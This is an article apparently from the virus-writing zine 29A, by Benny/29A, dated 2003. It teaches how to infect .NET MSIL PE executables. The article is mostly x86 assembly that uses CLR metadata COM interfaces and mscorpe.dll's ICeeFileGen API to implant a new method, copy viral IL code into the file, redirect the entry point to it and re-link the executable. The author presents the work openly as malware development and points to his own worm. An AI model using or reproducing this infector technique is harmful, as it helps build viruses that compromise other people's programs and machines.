www.pudn.com > 29a_fu.zip > 29A-7.002


 
                       . .: .:.. :.. .. .:.::. :. ..: 
                     <<-==млллллм=млллллм=млллллм===< 
                      .:: ллл ллл:ллл ллл.ллл ллл .:. 
                      . .:.мммллп.плллллл.ллллллл:.. 
                       ...лллмммм:ммммллл:ллл ллл.::. 
                      >===ллллллл=ллллллп=ллл ллл=->> 
                     .: .:.. ..:. .: ..:.::. ::.. :.:. 
 
 
                     MSIL-PE-EXE infection strategies 
                                   by 
                                Benny/29A 
 
 
 
 
 
In my last article about .NET platform called "Microsoft .NET Common Language 
Runtime Overview" I introduced technologies that .NET Framework Beta2 provides 
us. I also showed infector for .NET applications written in C# (called "Donut" 
by AVerz). Very soon after publishing Microsoft released sharp version of 
Visual Studio .NET. Since that time nothing changed at all, this version does 
not differ from the beta2 much. But I had more time, documentation and 
knowledge to explore this environment. 
 
When I was coding I-Worm.Serotonin I wanted to go more futher rather than with 
Donut. Donut was able to replace CLR header and metadata by some strange way 
with its own and by other non-effective way execute back the host program. 
I was sure there must exist some way how to code REAL file infector for 
.NET programs. Time had passed on, next step was awaited. Not replace, but 
infect metadata by adding new viral data, ansuring their primary activation 
right and calling back the host program. That meant to analyse a structure 
of metadata and find a way how to implant new members to current code without 
any bugs and suspicious actions on user's screen. 
 
While analysing CLR documentation I found out the environment disposes of  
rich interface for working with it and that this is very transparent - it 
allows to access it from both of inside managed program and outside it (for 
native applications). Tools and helper programs don't need to access metadata 
directly. All they have to do is call proper environment functions. Compilers, 
linkers, debuggers, they don't need to know almost no internal structures, 
everything is managed by system. 
 
Note:	Include file COR.INC that helps to handle CLR and metadata structures 
	is possible to find in this issue (29A#7). 
	You can find detailed Microsoft documentation at 
	MSVS_NET_PATH\FrameworkSDK\Tool Developers guide\docs. 
 
As I said before, CLR environment provides some COM interfaces. Those basic 
ones (discussed here) are these: 
 
 
For metadata opening:		For metadata (and manifest) modification: 
 
IMetaDataDispenser		IMetaDataEmit 
IMetaDataDispenserEx		IMetaDataAssemblyEmit 
 
 
For metadata (and manifest) analysis: 
 
IMetaDataImport 
IMetaDataAssemblyImport 
 
 
I will start with the simplest task - let's open metadata of file stored on 
disk. At first we have to initialize COM and create "Dispenser" object which 
will give us requested interface. Here comes the code: 
 
 
 
	push	0			;reserved, must be 0 
	call	CoInitialize 
 
 
	push	offset ppv		;pointer to returned interface 
	call	@over_iid 
	IID_IMetaDataDispenserEx	;required interface identifier 
@over_iid: 
	push	1			;CLSCTX_INPROC_SERVER 
	push	0			;not part of an agregate 
	call	@over_clsid 
	CLSID_CorMetaDataDispenser	;object identifier 
@over_clsid: 
	call	CoCreateInstance 
 
 
 
Now we have a pointer to requested IMetaDataDispenserEx interface and we can 
call its methods: 
 
DefineScope 
OpenScope 
OpenScopeOnMemory 
 
The most interesting method is OpenScope that allows elegantly access metadata 
from executable file stored on disk. This method returns an interface 
(IMetaDataEmit, IMetaDataImport, IMetaDataAssemblyEmit or IMetaDataAssemblyImport) 
thru which we can access metadata members. 
 
 
 
	push	offset pEmit		;pointer to returned interface 
	call	@over_iid2 
	IID_IMetaDataEmit		;requested interface identifier 
@over_iid2: 
	push	0			;open for read (1 for write) 
	call	@over_wsz		;filename in unicode 
	dw	'c',':','\','p','r','o','g','.','e','x','e',0 
@over_wsz: 
	mov	eax,[ppv]		;EAX = pointer to Dispenser object 
	push	eax			;"this" calling convention 
	mov	eax,[eax] 
	call	[eax.IMetaDataDispenser_OpenScope] 
 
 
 
And now we will try to do something more difficult - declare new global method 
"void METHOD_IMPLANTED()" in metadata: 
 
 
 
	push	offset mdToken		;returned method token 
	push	0			;implementation flags 
	push	0			;RVA of method IL code (can be set l8er by SetRVA method) 
	push	3			;number of bytes in signature 
	call	@over_sig 
	db	IMAGE_CEE_CS_CALLCONV_HASTHIS,0,ELEMENT_TYPE_VOID 
@over_sig:				;method signature (in/out arguments) 
	push	mdPrivate or mdStatic	;method attributes 
	call	@over_wsz2 
	dw	'M','E','T','H','O','D','_','I','M','P','L','A','N','T','E','D',0 
@over_wsz2:				;method name 
	push	0			;0 = global method 
	mov	eax,[pEmit]		;EAX = pointer to Emitter 
	push	eax 
	mov	eax,[eax] 
	call	[eax.IMetaDataEmit_DefineMethod] 
 
 
 
Similarly we can call other Emitter methods. When everything is finished we should 
not forget to release all objects from memory: 
 
 
	mov	eax,[pEmit] 
	push	eax 
	mov	eax,[eax] 
	call	[eax.IUnknown_Release] 
 
	mov	eax,[ppv] 
	push	eax 
	mov	eax,[eax] 
	call	[eax.IUnknown_Release] 
 
 
 
I won't go deeper in details here, all these methods (used by compilers to generate 
metadata) are very well documented. It will be better to look at some other useful 
but not so well documented stuff - interface for linkers. You probably know that 
metadata itself is not enough to execute the program, metadata describes only 
application's object layout. Full-functional program have to be linked as PE EXE 
file where are stored not only metadata but also MSIL code - that can be stored 
in any readable section. So, in a short form, all we have to do is re-compile 
and re-link the file using new metadata. 
 
Only documentation I was able to find is one header file stored like 
MSVS_NET_Path\FrameworkSDK\Include\ICeeFileGen.h. ICeeFileGen class is described 
there and all its public methods. There are described also two APIs, CreateICeeFileGen 
and DestroyICeeFileGen. Source code itself helps to understand that it's a description 
of object (and its interface) used for executable file generation. But where can we 
find the code of that? 
 
Look at folder of .NET Framework core (%windir%\Microsoft.NET\Framework\v1.0.3705\) 
and focus on mscorpe.dll. This is our golden treasure we are looking for. Check which 
APIs it exports and you will find out that it corresponds with ICeeFileGen.h file. 
 
So, here we go: 
 
 
	@pushsz	'mscorpe'		;name of DLL 
	call	LoadLibraryA		;load it 
	xchg	eax,ebx			;address in EBX 
 
	@pushsz	'DestroyICeeFileGen' 
	push	ebx 
	call	GetProcAddress 
	xchg	eax,esi			;address of DestroyICeeFileGen API in ESI 
 
	@pushsz	'CreateICeeFileGen' 
	push	ebx 
	call	GetProcAddress		;address of CreateICeeFileGen API in EAX 
 
	push	offset ICeeFileGen	;pointer to interface variable 
	call	eax			;create object interface 
 
	mov	edi,[ICeeFileGen]	;pointer to interface in EDI 
	mov	edi,[edi]		;interface in EDI 
 
	push	offset file_handle 
	call	[edi.ICeeFileGen_CreateCeeFile] 
					;object initialization 
 
 
 
	call	@over_outwsz 
	dw	'c',':','\','o','u','t','p','u','t','.','e','x','e',0 
@over_outwsz: 
	push	[file_handle] 
	call	[edi.ICeeFileGen_SetOutputFileName] 
					;set output file to "c:\output.exe" 
 
	;we also have to write new IL code to our file. we will reserve a place in PE 
	;file (so called "section") and copy there our data. everything is done in 
	;memory, all datas are flushed on disk at final stage. 
 
	push	[file_handle] 
	call	[edi.ICeeFileGen_LinkCeeFile] 
					;before we will start to work with addresses 
					;we have to re-link program in memory 
 
	push	offset il_section 
	push	[file_handle] 
	call	[edi.ICeeFileGen_GetIlSection] 
					;request section for IL code 
 
	push	offset il_section_rva 
	push	[il_section] 
	call	[edi.ICeeFileGen_GetSectionRVA] 
					;we have to know RVA of section 
 
	push	offset raw_il_section 
	push	1 
	push	4 
	push	[il_section] 
	call	[edi.ICeeFileGen_GetSectionBlock] 
					;allocate 4 bytes. we won't use them, it is 
					;only a trick to get offset in section 
 
	push	offset il_section_offset 
	push	[raw_il_section] 
	push	[il_section] 
	call	[edi.ICeeFileGen_ComputeSectionOffset] 
					;now we know offset in our section 
 
 
	;we will set RVA of our new method 
 
	mov	eax,offset il_section_rva 
	push	eax			;EAX = section address 
	add	[eax],12345678h		;EAX += offset in section 
il_section_offset = dword ptr $-4 
	add	dword ptr [eax],4	;EAX += 4 (we have to skip first allocated bytes) 
	push	dword ptr [eax] 
	push	[mdToken] 
	mov	eax,[pEmit] 
	push	eax 
	mov	eax,[eax] 
	call	[eax.IMetaDataEmit_SetRVA] 
 
 
	;we will reserve next place for our code, immediately following our 4 bytez 
 
	push	offset raw_il_section 
	push	1 
	push	IL_code_size 
	push	[il_section] 
	call	[edi.ICeeFileGen_GetSectionBlock] 
 
	pushad 
	mov	esi,offset IL_code	;address of IL code of our new method 
	mov	edi,12345678h		;target memory address 
raw_il_section = dword ptr $-4 
	mov	ecx,IL_code_size	;size of IL code 
	rep	movsb			;copy IL code to file 
	popad 
 
 
 
	...				;other stuff defining parameters of linking 
 
 
 
	push	[mdToken] 
	push	[file_handle] 
	call	[edi.ICeeFileGen_SetEntryPoint] 
					;set entrypoint to our new method 
 
	push	[pEmit] 
	push	[file_handle] 
	call	[edi.ICeeFileGen_EmitMetaDataEx] 
					;write metadata to file 
 
	push	[file_handle] 
	call	[edi.ICeeFileGen_LinkCeeFile] 
					;re-link PE file in memory 
 
	push	[file_handle] 
	call	[edi.ICeeFileGen_GenerateCeeFile] 
					;write PE file to disk 
 
 
 
	push	offset file_handle 
	call	[edi.ICeeFileGen_DestroyCeeFile] 
					;unitialize object 
	push	offset ICeeFileGen 
	call	esi			;release object from memory 
 
	push	ebx 
	call	FreeLibrary		;release library from memory 
 
 
 
And that's all. As you can see, it is very simple and effective. If you 
want to see real functional code working on this base, look at my 
I-Worm.Serotonin. Everything mentioned here and many many more can be 
found there. 
 
.NET CLR environment is very pleasant to viral infiltrations. It provides 
such abstraction that author does not care of almost no implementation 
stuff. There are much more features in this environment I hadn't described. 
Nothing is impossible. I am VERY sure that it is possible to implement 
most viral techniques and strategies that we know from Win32 world. It 
only depends on our patience and time we want to invest to our .NET malware 
code. 
 
 
 
 
 
						................................ 
						. 
						.  Jan 25 2003	Benny/29A 
						.		benny@post.cz 
						. 
						... searching for perfection ...